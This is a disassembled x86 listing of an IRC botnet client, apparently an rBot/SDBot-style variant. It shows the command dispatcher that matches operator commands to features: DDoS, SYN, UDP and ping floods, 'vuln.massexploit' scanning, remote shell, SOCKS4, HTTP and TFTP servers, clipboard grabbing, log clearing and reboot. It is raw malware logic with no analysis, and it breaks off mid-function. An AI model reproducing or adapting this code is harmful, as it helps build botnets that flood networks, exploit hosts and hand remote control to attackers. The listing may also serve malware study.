		mov	ecx, [ebp+var_8C]
		cmp	byte ptr [ecx],	23h
		jz	loc_40D2BE
		push	eax
		push	ecx
		push	offset dword_434450
		jmp	loc_40CFC2
; ---------------------------------------------------------------------------


loc_40D57A:				; CODE XREF: sub_40CC09+7D8j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bDcc_m_0 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Failed to"...
		jmp	loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D58B:				; CODE XREF: sub_40CC09+6FFj
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	[ebp+esi+var_8C]
		push	offset a_e_1_0bDcc_m_1 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Receive	f"...
		push	eax
		call	sub_413812
		add	esp, 10h
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_40D5B2:				; CODE XREF: sub_40CC09+6F3j
		push	[ebp+esi+var_90]
		push	offset aChat	; "CHAT"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40D70A
		cmp	[ebp+var_98], ebx
		jz	loc_40D6D4
		push	13h
		call	sub_413506
		test	eax, eax
		pop	ecx
		jnz	loc_40D6C6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_610]
		push	offset aS_3	; "%s"
		push	eax
		call	sub_413812
		push	[ebp+esi+var_84]
		call	sub_413D7F
		mov	[ebp+var_478], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_618], eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_4F8]
		push	eax
		call	sub_415140
		mov	eax, [ebp+var_4]
		mov	[ebp+var_470], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C4]
		push	offset a_e_1_0bDcc_m_2 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Chat from"...
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	13h
		push	eax
		call	sub_4132BE
		add	esp, 34h
		mov	[ebp+var_474], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_618]
		push	ebx
		push	eax
		push	offset sub_409BFD
		push	ebx
		push	ebx
		call	dword_41F070	; CreateThread
		mov	ecx, [ebp+var_474]
		imul	ecx, 134h
		cmp	eax, ebx
		mov	dword_45213C[ecx], eax
		jz	short loc_40D6B8


loc_40D6A2:				; CODE XREF: sub_40CC09+AADj
		cmp	[ebp+var_468], ebx
		jnz	loc_410457
		push	32h
		call	dword_41F050	; Sleep
		jmp	short loc_40D6A2
; ---------------------------------------------------------------------------


loc_40D6B8:				; CODE XREF: sub_40CC09+A97j
		call	dword_41F06C	; RtlGetLastWin32Error
		push	eax
		push	offset a_e_1_0bDcc_m_3 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Failed to"...
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6C6:				; CODE XREF: sub_40CC09+9DAj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bDcc_m_4 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Chat alre"...
		jmp	short loc_40D6E0
; ---------------------------------------------------------------------------


loc_40D6D4:				; CODE XREF: sub_40CC09+9CAj
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset a_e_1_0bDcc_m_5 ; ".e.(1.0b) ( dcc.m.d.l	) .»».	Chat fail"...


loc_40D6E0:				; CODE XREF: sub_40CC09+97Dj
					; sub_40CC09+ABBj ...
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		add	esp, 0Ch
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_40D6F4:				; CODE XREF: sub_40CC09+6D8j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_42A334
		mov	[edi], ecx
		jnz	loc_40CFCD


loc_40D70A:				; CODE XREF: sub_40CC09+9BEj
		mov	edi, [edi]
		push	edi
		push	offset aNewshit	; "newshit"
		mov	[ebp+arg_8], edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412183
		push	edi
		push	offset dword_434298
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412183
		cmp	[ebp+var_98], ebx
		jnz	short loc_40D75B
		push	[ebp+var_90]
		push	offset dword_434504
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41217B


loc_40D75B:				; CODE XREF: sub_40CC09+B36j
		cmp	[ebp+arg_28], ebx
		jnz	loc_41217B
		xor	edi, edi
		cmp	dword_42C948, ebx
		jle	loc_40D907
		mov	[ebp+arg_20], offset dword_4514A8


loc_40D779:				; CODE XREF: sub_40CC09+B8Fj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40D79F
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42C948
		jl	short loc_40D779
		jmp	loc_40D907
; ---------------------------------------------------------------------------


loc_40D79F:				; CODE XREF: sub_40CC09+B7Fj
		push	offset asc_434610 ; " :"
		push	[ebp+arg_0]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40CFCD
		mov	cl, byte_42A334
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_42A334
		mov	[eax+3], cl
		lea	ecx, dword_4514C0[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_415140
		lea	eax, [ebp+esi+var_54]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax


loc_40D7F4:				; CODE XREF: sub_40CC09+C93j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset dword_434290
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D860
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_40D860
		lea	eax, dword_4514A8[edi]
		push	eax
		call	sub_413E90
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_40D892
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_413DE0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40D892
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		add	esp, 0Ch
		jmp	short loc_40D892
; ---------------------------------------------------------------------------


loc_40D860:				; CODE XREF: sub_40CC09+C13j
					; sub_40CC09+C1Aj
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_40D892
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_14]
		mov	[ebp+var_12], bl
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		add	esp, 18h


loc_40D892:				; CODE XREF: sub_40CC09+C2Cj
					; sub_40CC09+C40j ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_40D7F4
		lea	eax, [ebp+esi+var_54]
		mov	[ebp+arg_20], 10h
		mov	edi, eax


loc_40D8AF:				; CODE XREF: sub_40CC09+CF2j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A4]
		push	offset off_43428C
		push	eax
		call	sub_413812
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 14h
		test	eax, eax
		jz	short loc_40D8F2
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40D8F2
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		add	esp, 0Ch


loc_40D8F2:				; CODE XREF: sub_40CC09+CCEj
					; sub_40CC09+CD4j
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40D8AF
		mov	[ebp+var_1C8], 1


loc_40D907:				; CODE XREF: sub_40CC09+B63j
					; sub_40CC09+B91j
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_42A334
		jz	short loc_40D920
		cmp	[ebp+var_1C8], ebx
		jz	loc_40DB05


loc_40D920:				; CODE XREF: sub_40CC09+D09j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset off_434288
		push	edi
		call	sub_408296
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_2	; "$user"
		push	edi
		call	sub_408296
		push	[ebp+var_8C]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_408296
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A4]
		push	2
		push	eax
		call	sub_412AB7
		push	eax
		push	offset aRndnick	; "$rndnick"
		push	edi
		call	sub_408296
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_2 ; "$server"
		push	edi
		call	sub_408296
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 14h


loc_40D992:				; CODE XREF: sub_40CC09+E75j
		test	eax, eax
		jz	loc_40DA83
		push	edi
		push	[ebp+arg_0]
		call	sub_413DE0
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_A4]
		push	offset asc_434258 ; ")"
		push	eax
		call	sub_4150A0
		add	esp, 1Ch
		cmp	[ebp+var_A4], 30h
		jl	short loc_40D9DE
		cmp	[ebp+var_A4], 39h
		jle	short loc_40D9F4


loc_40D9DE:				; CODE XREF: sub_40CC09+DCAj
		push	3
		lea	eax, [ebp+var_A4]
		push	offset a63	; "63"
		push	eax
		call	sub_415140
		add	esp, 0Ch


loc_40D9F4:				; CODE XREF: sub_40CC09+DD3j
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_413D7F
		test	eax, eax
		pop	ecx
		jle	short loc_40DA17
		lea	eax, [ebp+var_A4]
		push	eax
		call	sub_413D7F
		pop	ecx
		mov	[ebp+var_14], al
		jmp	short loc_40DA28
; ---------------------------------------------------------------------------


loc_40DA17:				; CODE XREF: sub_40CC09+DFAj
		call	sub_41386E
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_14], dl


loc_40DA28:				; CODE XREF: sub_40CC09+E0Cj
		lea	eax, [ebp+var_A4]
		mov	[ebp+var_13], bl
		push	eax
		call	sub_413E90
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A4]
		push	ebx
		push	eax
		call	sub_413890
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A4]
		push	[ebp+arg_10]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_0]
		call	sub_408296
		push	edi
		push	[ebp+arg_0]
		call	sub_413DE0
		add	esp, 30h
		jmp	loc_40D992
; ---------------------------------------------------------------------------


loc_40DA83:				; CODE XREF: sub_40CC09+D8Bj
		mov	edi, 0FEh
		lea	eax, [ebp+var_B98]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_B98]
		push	edi
		push	eax
		lea	eax, [ebp+var_D9C]
		push	eax
		call	sub_415140
		lea	eax, [ebp+var_D9C]
		push	offset asc_425148 ; " "
		push	eax
		call	sub_4150A0
		add	esp, 20h
		mov	[ebp+var_94], eax
		lea	edi, [ebp+var_90]
		mov	[ebp+arg_10], 1Fh


loc_40DAD3:				; CODE XREF: sub_40CC09+EDFj
		push	offset asc_425148 ; " "
		push	ebx
		call	sub_4150A0
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40DAD3
		mov	ecx, [ebp+esi+var_94]
		lea	eax, [ebp+esi+var_94]
		cmp	ecx, ebx
		jz	loc_40CFCD
		add	ecx, 3
		mov	[eax], ecx


loc_40DB05:				; CODE XREF: sub_40CC09+D11j
		mov	edi, [ebp+esi+var_94]
		push	edi
		push	offset aEnz_rndnick ; "enz.rndnick"
		mov	[ebp+arg_8], edi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41212E
		push	edi
		push	offset aEnz_rn	; "enz.rn"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41212E
		push	edi
		push	offset aEnz_endsess ; "enz.endsess"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210C
		push	edi
		push	offset aEnz_d	; "enz.d"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41210C
		push	edi
		push	offset aEnz_logout ; "enz.logout"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412061
		push	edi
		push	offset aEnz_lo	; "enz.lo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412061
		push	edi
		push	offset aServer_socks4_ ; "server.socks4.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F3F
		push	edi
		push	offset aServer_s4_on ; "server.s4.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F3F
		push	edi
		push	offset aServer_socks_0 ; "server.socks4.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DBF7
		push	[ebp+esi+var_90]
		push	11h
		push	offset aServer	; "Server"
		push	offset a_s_ocks_4___ ; ".s.ocks.4..."


loc_40DBDB:				; CODE XREF: sub_40CC09+1012j
					; sub_40CC09+1038j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_41354C
		add	esp, 20h
		jmp	loc_40CFCD
; ---------------------------------------------------------------------------


loc_40DBF7:				; CODE XREF: sub_40CC09+FBDj
		push	edi
		push	offset aServer_rlogin_ ; "server.rlogin.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC1D
		push	[ebp+esi+var_90]
		push	6
		push	offset aServer	; "Server"
		push	offset a_r_login_d___ ;	".r.login.d..."
		jmp	short loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC1D:				; CODE XREF: sub_40CC09+FFDj
		push	edi
		push	offset aServer_web_off ; "server.web.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC43
		push	[ebp+esi+var_90]
		push	3
		push	offset aServer	; "Server"
		push	offset a_h_ttp_d___ ; ".h.ttp.d..."
		jmp	short loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC43:				; CODE XREF: sub_40CC09+1023j
		push	edi
		push	offset aLog_off	; "log.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC6C
		push	[ebp+esi+var_90]
		push	1Dh
		push	offset aLogList	; "Log list"
		push	offset a_l_o_g___ ; ".l.o.g..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC6C:				; CODE XREF: sub_40CC09+1049j
		push	edi
		push	offset aServer_redirec ; "server.redirect.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DC95
		push	[ebp+esi+var_90]
		push	10h
		push	offset aTcpRedirect ; "TCP redirect"
		push	offset a_r_edirec_t___ ; ".r.edirec.t..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DC95:				; CODE XREF: sub_40CC09+1072j
		push	edi
		push	offset aDdos_off ; "ddos.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DCBE
		push	[ebp+esi+var_90]
		push	0Ah
		push	offset aDdosFlood ; "DDoS flood"
		push	offset a_d_do_s___ ; ".d.do.s..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DCBE:				; CODE XREF: sub_40CC09+109Bj
		push	edi
		push	offset aDdos_syn_off ; "ddos.syn.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DCE7
		push	[ebp+esi+var_90]
		push	0Bh
		push	offset aSynFlood ; "Syn	flood"
		push	offset a_s_y_n___ ; ".s.y.n..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DCE7:				; CODE XREF: sub_40CC09+10C4j
		push	edi
		push	offset aDdos_udp_off ; "ddos.udp.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD10
		push	[ebp+esi+var_90]
		push	0Fh
		push	offset aUdpFlood ; "UDP	flood"
		push	offset a_u_d_p___ ; ".u.d.p..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DD10:				; CODE XREF: sub_40CC09+10EDj
		push	edi
		push	offset aDdos_ping_off ;	"ddos.ping.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD39
		push	[ebp+esi+var_90]
		push	0Eh
		push	offset aPingFlood ; "Ping flood"
		push	offset a_p_in_g___ ; ".p.in.g..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DD39:				; CODE XREF: sub_40CC09+1116j
		push	edi
		push	offset aServer_tftp_of ; "server.tftp.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DD62
		push	[ebp+esi+var_90]
		push	4
		push	offset aServer	; "Server"
		push	offset a_t_ftp_d___ ; ".t.ftp.d..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DD62:				; CODE XREF: sub_40CC09+113Fj
		push	edi
		push	offset aBox_procs_off ;	"box.procs.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F27
		push	edi
		push	offset aBox_ps_off ; "box.ps.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F27
		push	edi
		push	offset aClone_off ; "clone.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDB5
		push	[ebp+esi+var_90]
		push	18h
		push	offset aClone	; "Clone"
		push	offset a_c_lone_s___ ; ".c.lone.s..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DDB5:				; CODE XREF: sub_40CC09+1192j
		push	edi
		push	offset aLockdown_stop ;	"lockdown.stop"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DDDE
		push	[ebp+esi+var_90]
		push	1Ah
		push	offset aSecure	; "Secure"
		push	offset a_s_ecur_e___ ; ".s.ecur.e..."
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DDDE:				; CODE XREF: sub_40CC09+11BBj
		push	edi
		push	offset aVuln_stop ; "vuln.stop"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DE07
		push	[ebp+esi+var_90]
		push	8
		push	offset aScan	; "Scan"
		push	offset aExploitation ; "Exploitation"
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40DE07:				; CODE XREF: sub_40CC09+11E4j
		push	edi
		push	offset aVuln_stats ; "vuln.stats"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aVuln_st	; "vuln.st"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411F11
		push	edi
		push	offset aEnz_reh4sh ; "enz.reh4sh"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EF0
		push	edi
		push	offset aEnz_rh4	; "enz.rh4"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411EF0
		push	edi
		push	offset aEnz_endt3rm ; "enz.endt3rm"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECE
		push	edi
		push	offset aEnz_et3	; "enz.et3"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411ECE
		push	edi
		push	offset aEnz_t3rm1nate ;	"enz.t3rm1nate"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E86
		push	edi
		push	offset aEnz_t3rm1 ; "enz.t3rm1"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E86
		push	edi
		push	offset aEnz_status ; "enz.status"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E48
		push	edi
		push	offset aEnz_s	; "enz.s"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E48
		push	edi
		push	offset aEnz_id	; "enz.id"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E11
		push	edi
		push	offset aEnz_i	; "enz.i"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E11
		push	edi
		push	offset aBox_rebewt ; "box.rebewt"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40DF55
		call	sub_4086DF
		test	eax, eax
		mov	eax, offset a_e_1_0bEnz_m_4 ; ".e.(1.0b) ( enz.m.d.l ) .»».  Rebooting"...
		jnz	short loc_40DF27
		mov	eax, offset a_e_1_0bEnz_m_5 ; ".e.(1.0b) ( enz.m.d.l ) .»».  Failed to"...


loc_40DF27:				; CODE XREF: sub_40CC09+1317j
		push	eax
		lea	eax, [ebp+var_1C4]
		push	eax
		call	sub_413812
		push	ebx
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 1Ch
		jmp	loc_410457
; ---------------------------------------------------------------------------


loc_40DF55:				; CODE XREF: sub_40CC09+1309j
		push	edi
		push	offset aThreads_list ; "threads.list"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D20
		push	edi
		push	offset aThreads_l ; "threads.l"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D20
		push	edi
		push	offset aEnz_aliases ; "enz.aliases"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D00
		push	edi
		push	offset aEnz_al	; "enz.al"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D00
		push	edi
		push	offset aEnz_log	; "enz.log"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C10
		push	edi
		push	offset aEnz_lg	; "enz.lg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411C10
		push	edi
		push	offset aUtil_clearlog ;	"util.clearlog"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BF7
		push	edi
		push	offset aUtil_clg ; "util.clg"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BF7
		push	edi
		push	offset aBox_netinfo ; "box.netinfo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BC0
		push	edi
		push	offset aBox_ni	; "box.ni"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BC0
		push	edi
		push	offset aBox_sysinfo ; "box.sysinfo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B95
		push	edi
		push	offset aBox_si	; "box.si"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B95
		push	edi
		push	offset aEnz_beg0ne ; "enz.beg0ne"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B5B
		push	edi
		push	offset aEnz_b3g	; "enz.b3g"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411B5B
		push	edi
		push	offset aBox_procs ; "box.procs"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A3B
		push	edi
		push	offset aBox_ps	; "box.ps"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A3B
		push	edi
		push	offset aBox_uptime ; "box.uptime"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4119B7
		push	edi
		push	offset aBox_up	; "box.up"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4119B7
		push	edi
		push	offset aBox_driveinfo ;	"box.driveinfo"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41199A
		push	edi
		push	offset aBox_drv	; "box.drv"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41199A
		push	edi
		push	offset aBox_testdlls ; "box.testdlls"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411981
		push	edi
		push	offset aBox_dll	; "box.dll"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411981
		push	edi
		push	offset aBox_opencmd ; "box.opencmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411915
		push	edi
		push	offset aBox_ocmd ; "box.ocmd"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411915
		push	edi
		push	offset aBox_ocmd_off ; "box.ocmd.off"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E176
		push	[ebp+esi+var_90]
		push	7
		push	offset aRemoteShell ; "Remote shell"
		push	offset aCmd	; "[CMD]"
		jmp	loc_40DBDB
; ---------------------------------------------------------------------------


loc_40E176:				; CODE XREF: sub_40CC09+1553j
		push	edi
		push	offset aEnz_who	; "enz.who"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40E203
		cmp	[ebp+var_8], ebx
		jnz	short loc_40E1A6
		push	ebx
		push	[ebp+var_4]
		push	offset aLoginList ; "-[Login List]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 14h


loc_40E1A6:				; CODE XREF: sub_40CC09+1581j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_40E1AB:				; CODE XREF: sub_40CC09+15E8j
		cmp	[edi], bl
		lea	eax, [edi+1]
		jnz	short loc_40E1B7
		mov	eax, offset aEmpty ; "<Empty>"


loc_40E1B7:				; CODE XREF: sub_40CC09+15A7j
		push	eax
		push	esi
		lea	eax, [ebp+var_1C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_413812
		push	1
		lea	eax, [ebp+var_1C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B2B5
		add	esp, 24h
		inc	esi
		add	edi, 80h
		cmp	esi, 2
		jl	short loc_40E1AB
		push	offset a_e_1_0bEnz_m_6 ; ".e.(1.0b) ( enz.m.d.l	) .»».	Login lis"...


loc_40E1F8:				; CODE XREF: sub_40CC09+5203j
		call	sub_409833
		pop	ecx
		jmp	loc_41217B
; ---------------------------------------------------------------------------


loc_40E203:				; CODE XREF: sub_40CC09+157Cj
		push	edi
		push	offset aBox_getclip ; "box.getclip"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118D4
		push	edi
		push	offset aBox_gc	; "box.gc"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118D4
		push	edi
		push	offset aUtil_flusharp ;	"util.flusharp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118A9
		push	edi
		push	offset aUtil_farp ; "util.farp"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4118A9
		push	edi
		push	offset aUtil_flushdns ;	"util.flushdns"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411885
		push	edi
		push	offset aUtil_fdns ; "util.fdns"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411885
		push	edi
		push	offset aVuln_currentip ; "vuln.currentip"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411848
		push	edi
		push	offset aVuln_cip ; "vuln.cip"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411848
		push	edi
		push	offset aServer_httpd_o ; "server.httpd.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116BC
		push	edi
		push	offset aServer_web_on ;	"server.web.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4116BC
		push	edi
		push	offset aServer_tftp_on ; "server.tftp.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411570
		push	edi
		push	offset aServer_tf_on ; "server.tf.on"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411570
		push	edi
		push	offset aVuln_massexplo ; "vuln.massexploit"
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411271
		push	edi
